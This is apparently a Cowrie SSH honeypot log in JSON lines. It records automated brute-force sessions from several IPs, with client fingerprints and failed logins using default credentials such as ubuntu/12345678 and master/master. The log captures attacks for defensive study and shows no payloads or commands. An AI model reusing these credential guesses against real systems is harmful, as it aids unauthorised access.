{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:49.186584Z","src_ip":"193.32.162.151","session":"d2c8ffb2caf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:49.197009Z","src_ip":"80.94.92.186","session":"30542d84db9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:49.504447Z","src_ip":"193.32.162.151","session":"d2c8ffb2caf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:50.568962Z","src_ip":"80.94.92.186","session":"30542d84db9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:50.611355Z","src_ip":"193.32.162.151","session":"d2c8ffb2caf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":35038,"dst_ip":"10.17.0.5","dst_port":22,"session":"f42a467452a3","protocol":"ssh","message":"New connection: 92.118.39.76:35038 (10.17.0.5:22) [session: f42a467452a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:58.458307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:58.463178Z","src_ip":"92.118.39.76","session":"f42a467452a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:58.563240Z","src_ip":"92.118.39.76","session":"f42a467452a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:58.866359Z","src_ip":"92.118.39.76","session":"f42a467452a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:53:59.971381Z","src_ip":"92.118.39.76","session":"f42a467452a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60662,"dst_ip":"159.203.135.109","dst_port":22,"session":"616bd99d029f","protocol":"ssh","message":"New connection: 195.178.110.218:60662 (159.203.135.109:22) [session: 616bd99d029f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:55:30.322577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:55:30.327511Z","src_ip":"195.178.110.218","session":"616bd99d029f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:55:30.415753Z","src_ip":"195.178.110.218","session":"616bd99d029f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:55:30.656333Z","src_ip":"195.178.110.218","session":"616bd99d029f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:55:31.738164Z","src_ip":"195.178.110.218","session":"616bd99d029f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26577,"dst_ip":"159.203.135.109","dst_port":22,"session":"425b8d82e1d5","protocol":"ssh","message":"New connection: 2.57.121.25:26577 (159.203.135.109:22) [session: 425b8d82e1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:00.501891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:00.506601Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:00.607718Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pizda","message":"login attempt [user/pizda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:01.085085Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pitures","message":"login attempt [user/pitures] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:02.189012Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"piper1","message":"login attempt [user/piper1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:03.293996Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"perkele","message":"login attempt [user/perkele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:04.398219Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pennstat","message":"login attempt [user/pennstat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:05.502531Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:06.609099Z","src_ip":"2.57.121.25","session":"425b8d82e1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47238,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88eaa936d60","protocol":"ssh","message":"New connection: 193.32.162.151:47238 (159.203.135.109:22) [session: f88eaa936d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:09.118344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:09.123117Z","src_ip":"193.32.162.151","session":"f88eaa936d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:09.218091Z","src_ip":"193.32.162.151","session":"f88eaa936d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123456","message":"login attempt [master/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:09.506727Z","src_ip":"193.32.162.151","session":"f88eaa936d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:10.606260Z","src_ip":"193.32.162.151","session":"f88eaa936d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":44612,"dst_ip":"10.17.0.5","dst_port":22,"session":"f132c124ac26","protocol":"ssh","message":"New connection: 92.118.39.76:44612 (10.17.0.5:22) [session: f132c124ac26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:11.559565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:11.565017Z","src_ip":"92.118.39.76","session":"f132c124ac26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:11.670464Z","src_ip":"92.118.39.76","session":"f132c124ac26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:11.986691Z","src_ip":"92.118.39.76","session":"f132c124ac26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:56:13.097272Z","src_ip":"92.118.39.76","session":"f132c124ac26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38414,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c20c2a307d","protocol":"ssh","message":"New connection: 80.94.92.186:38414 (10.17.0.5:22) [session: d5c20c2a307d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:57:04.332727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:57:04.537863Z","src_ip":"80.94.92.186","session":"d5c20c2a307d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:57:04.541043Z","src_ip":"80.94.92.186","session":"d5c20c2a307d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:57:05.661334Z","src_ip":"80.94.92.186","session":"d5c20c2a307d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:57:06.927681Z","src_ip":"80.94.92.186","session":"d5c20c2a307d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":32824,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b6afbbec63d","protocol":"ssh","message":"New connection: 195.178.110.218:32824 (159.203.135.109:22) [session: 9b6afbbec63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:05.537598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:05.541951Z","src_ip":"195.178.110.218","session":"9b6afbbec63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:05.621887Z","src_ip":"195.178.110.218","session":"9b6afbbec63d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:05.861893Z","src_ip":"195.178.110.218","session":"9b6afbbec63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:06.943486Z","src_ip":"195.178.110.218","session":"9b6afbbec63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca5231e2857","protocol":"ssh","message":"New connection: 193.32.162.151:34878 (159.203.135.109:22) [session: 5ca5231e2857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:20.754051Z"}
